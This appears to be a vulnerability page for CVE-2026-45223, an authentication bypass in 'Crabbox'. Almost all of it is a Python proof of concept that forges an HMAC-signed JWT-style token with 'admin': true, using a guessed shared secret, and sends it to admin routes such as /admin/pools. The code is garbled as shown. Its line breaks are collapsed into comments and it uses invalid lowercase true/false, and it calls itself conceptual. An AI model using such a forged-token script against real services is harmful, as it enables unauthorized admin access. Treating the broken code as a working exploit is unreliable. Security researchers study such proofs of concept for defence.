CVE-2026-45223 Crabbox认证绕过漏洞

import hmac import hashlib import base64 import json # Simulating the token structure and signing # This is a conceptual PoC based on the description secret_key = b'shared_secret_key' # Attacker needs to obtain or guess this # Original payload (non-admin) original_payload = { "user": "standard_user", "admin": false } # Malicious payload (escalated privileges) malicious_payload = { "user": "standard_user", "admin": true } def generate_token(payload, secret): # In a real scenario, this would match the exact implementation (e.g., JWT) header = {"alg": "HS256", "typ": "JWT"} header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') message = f"{header_b64}.{payload_b64}" signature = hmac.new(secret, message.encode(), hashlib.sha256).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{message}.{signature_b64}" # Generate the forged admin token forged_token = generate_token(malicious_payload, secret_key) print(f"Forged Admin Token: {forged_token}") # Attacker sends this token to admin-only routes # e.g., GET /admin/pools with Authorization: Bearer {forged_token}